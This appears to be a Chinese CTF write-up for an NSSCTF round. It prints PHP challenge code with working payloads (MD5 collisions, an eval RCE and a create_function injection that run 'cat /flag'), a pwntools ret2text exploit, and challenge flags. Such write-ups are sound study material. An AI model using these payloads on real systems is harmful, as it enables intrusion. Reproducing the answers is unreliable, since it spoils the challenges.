前言
挺简单的这次round赛,除了流量分析,misc会不了一点
Web
RCE但是没有完全RCE
md5+rce
<?php
error_reporting(0);
highlight_file(__file__);
include('level2.php');
if (isset($_GET['md5_1']) && isset($_GET['md5_2'])) {
if ((string)$_GET['md5_1'] !== (string)$_GET['md5_2'] && md5($_GET['md5_1']) === md5($_GET['md5_2'])) {
if (isset($_POST['md5_3'])&&md5($_POST['md5_3']) == md5($_POST['md5_3'])) {
echo $level2;
} else {
echo "您!!!!!那么现在阁下又该如何应对呢";
}
} else {
echo "还在用传统方法????";
}
} else {
echo "来做做熟悉的MD5~";
}
第一个md5强比较,第二个好像设计得有问题,随便输就行了
payload:
?md5_1=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&md5_2=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2
md5_3=0e215962017
得到3z_RC3.php
<?php
error_reporting(0);
highlight_file(__FILE__);
$shell = $_POST['shell'];
$cmd = $_GET['cmd'];
if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){
die("Hacker!!!!!!!!");
}
eval($shell($cmd));
flag在/flag
第四次遇到这个格式了,随便打
payload:
不知道为什么直接show_source失败了,那就带出参数
/3z_RC3.php?cmd=system($_POST[1]);
shell=urldecode&1=cat /flag
了解过PHP特性吗
php特性
<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
$checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
$checker_2 = TRUE;
}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
$checker_3 = TRUE;
}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
$checker_4 = TRUE;
}
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
echo $rce;
}
第一个用preg_match
数组绕过就行
第二个里面一个参数用ctype_alpha
做纯字符检测,另一个参数用纯数字检测,md5弱比较
第三个用科学计数法和弱比较就行了
第四个参考HNCTF2022 Fun-php
payload1:
?num[]=1&114=1e9
ctype=OZDCKNQ&is_num=807016042&514=99999999a&arr4y[]=
Rc3_function.php
<?php
error_reporting(0);
highlight_file(__FILE__);
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){
$nss_shell = create_function($shell,$nss);
}
create_function不多说了
payload:
nss=2;}system('cat /flag');/*&shell=
Pwn
nc_pwnre
汇编审计+异或
nc连上靶机,给了个汇编代码
pwn? re?no no no,this is just an easy nc-test.
loc_40116D:
mov eax, [ebp+i]
add eax, 1
mov [ebp+i], eax
loc_401176:
mov ecx, [ebp+Str]
push ecx
call _strlen
add esp, 4
cmp [ebp+i], eax
jge short loc_40119D
mov edx, [ebp+Str]
add edx, [ebp+i]
movsx eax, byte ptr [edx]
xor eax, 10h
mov ecx, [ebp+Str]
add ecx, [ebp+i]
mov [ecx], al
jmp short loc_40116D
maybe the result is talking about xor?
My result:
0x44,0x7c,0x5e,0x44,0x41,0x21,0x42,0x57,0x75,0x21,0x74,0x56,0x44,0x57,0x5d,0x67,0x44,0x46,0x29,0x45,0x5d,0x56,0x29,0x67,0x46,0x22,0x25,0x76,0x74,0x6a,0x52,0x69,0x5d,0x47,0x41,0x78,0x76,0x41,0x2d,0x2d
一眼xor异或,那就是把结果和0x10异或回去即可
exp:
result = [0x44, 0x7c, 0x5e, 0x44, 0x41, 0x21, 0x42, 0x57, 0x75, 0x21, 0x74, 0x56, 0x44, 0x57, 0x5d, 0x67, 0x44, 0x46, 0x29, 0x45, 0x5d, 0x56, 0x29, 0x67, 0x46, 0x22, 0x25, 0x76, 0x74, 0x6a, 0x52, 0x69, 0x5d, 0x47, 0x41, 0x78, 0x76, 0x41, 0x2d, 0x2d]
res = ""
for i in range(len(result)):
char = result[i] ^ 0x10
res += chr(char)
print(res)
得到的结果base64解码一下得到NSSCTF{WELc0M_T0_pWn_w0r1d!}
,输入进去
然后就getshell了
ret_text
整型溢出+ret2text
32位程序
int vulnerable()
{
char buf[20]; // [esp+8h] [ebp-20h] BYREF
int v2; // [esp+1Ch] [ebp-Ch] BYREF
v2 = 0;
puts("Easy ret2text!!!Input:");
__isoc99_scanf("%d", &v2);
if ( v2 < 0 && (v2 = -v2, v2 < 0) )
{
puts("OK!!!You are right.");
read(0, buf, 0x32u);
}
else
{
puts("Try again!!!");
}
return 0;
}
首先是要输入v2使v2 < 0 && (v2 = -v2, v2 < 0)
,一眼整型溢出
32位下范围-2147483648 ~ 2147483647
那么v2就为-2147483648
接下来打ret2text
偏移量0x20 + 0x4
进入地址0x0804932C
exp:
from pwn import *
p = remote("node7.anna.nssctf.cn", "28706")
offset = 0x20+0x4
get_flag_addr = 0x0804932C
payload = offset * b'a' + p32(get_flag_addr)
p.recv()
p.sendline(b'-2147483648')
p.recv()
p.sendline(payload)
p.interactive()
Reverse
test your Debugger
exe动调
给了个exe,告诉我们要动调,ida动调exe参考:https://blog.csdn.net/m0_51713041/article/details/112414254
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rbx
__int64 i; // rax
char v6[152]; // [rsp+20h] [rbp-98h] BYREF
_main(argc, argv, envp);
if ( !IsDebuggerPresent() )
{
printf("No debugger detected, try another way!\n");
system("pause");
exit(0);
}
v3 = 0i64;
printf("Nice work!!!");
printf("\nInput your flag:\n");
scanf("%s", v6);
do
{
v6[v3 + 64] = GetNum(v3);
++v3;
}
while ( v3 != 44 );
printf("-> BreakPoint Here <-");
for ( i = 0i64; i != 44; ++i )
{
if ( v6[i + 64] != v6[i] )
{
printf("\nWrong!\n");
goto LABEL_9;
}
}
printf("\nYep! u are right!\n");
LABEL_9:
system("pause");
return 0;
}
给了我们一个下断点的位置,打上断点,然后f9运行程序
随便输点什么
f8跟进到cmp比较这里
看一下rsi寄存器这里
找到flag:NSSCTF{44d52a77-92ea-413e-98c4-ff5846fd387d}
CompileMe!!!(复现)
c#编译
先配个c#环境,教程:https://dotnet.microsoft.com/zh-cn/learn/dotnet/hello-world-tutorial/install
然后尝试把附件直接编译,报了个貌似是线程池炸了的错
赛后出题人说1w多个类的话编译器会栈溢出
所以我们需要把这1w多个类归并到1个类里面
我是手动用正则替换整理完的,然后用gpt帮我修一下细节
//NET8.0
using System;
using System.Text;
namespace NSSCTF
{
internal class Program
{
static void Main(string[] args)
{
var _ = new ulong[]
{
0x57656c636f6d6520,
0x746f204e53534354,
0x4620526f756e6423,
0x3136204261736963
};
var __ = new ulong[]
{
0xc60b34b2bff9d34a,
0xf50af3aa8fd96c6b,
0x680ed11f0c05c4f1,
0x6e83b0a4aaf7c1a3,
0xd69b3d568695c3c5,
0xa88f4ff50a351da2,
0x5cfa195968e1bb5b,
0xc4168018d92196d9
};
const ulong ___ = 0x9E3779B9;
var ____ = Enumerable
.Range(0, 32)
.Select(______ => ___ * (32 - (uint)______))
.ToArray();
var _____ = __.Select((_______, ________) => new { Value = _______, Index = ________ })
.GroupBy(____________ => ____________.Index / 2)
.Select(___________ =>
{
ulong _________ = ___________.ElementAt(0).Value;
ulong __________ = ___________.ElementAt(1).Value;
ulong _____________ = ___ * 32;
____.ToList()
.ForEach(_____________________ =>
{
__________ -=
(((_________ << 4) ^ (_________ >> 5)) + _________)
^ (_____________ + _[(_____________ >> 11) & 3]);
_____________ -= ___;
_________ -=
(((__________ << 4) ^ (__________ >> 5)) + __________)
^ (_____________ + _[_____________ & 3]);
});
return new[] { _________, __________ };
})
.SelectMany(______________ => ______________)
.ToArray();
Array.Copy(_____, __, __.Length);
__.SelectMany(
_______________ =>
BitConverter.GetBytes(new A(_______________).GetVal()).Reverse()
)
.ToList()
.ForEach(
________________ =>
Console.Write(Encoding.ASCII.GetString(new[] { ________________ }))
);
//Output: NSSCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
//Try to compile me!!!
}
}
abstract class _
{
protected ulong val;
public _(ulong val)
{
this.val = val;
}
public abstract ulong GetVal();
}
class A : _
{
public A(ulong val)
: base(val) { }
public override ulong GetVal()
{
val = val + 0x79013C0BD7467DC;
val = val - 0x78D23D50E23FC98;
...
val = val ^ 0x7C11B919EB627F7;
val = val + 0x413FD584E295889;
return val;
}
}
}
这样子就可以编译了
flag:NSSCTF{58MtU4iTx4uKu8PVHEYyY9a7tZ0daqVIfJVV9kpMRZ7uvDGYHRuJ58Mz}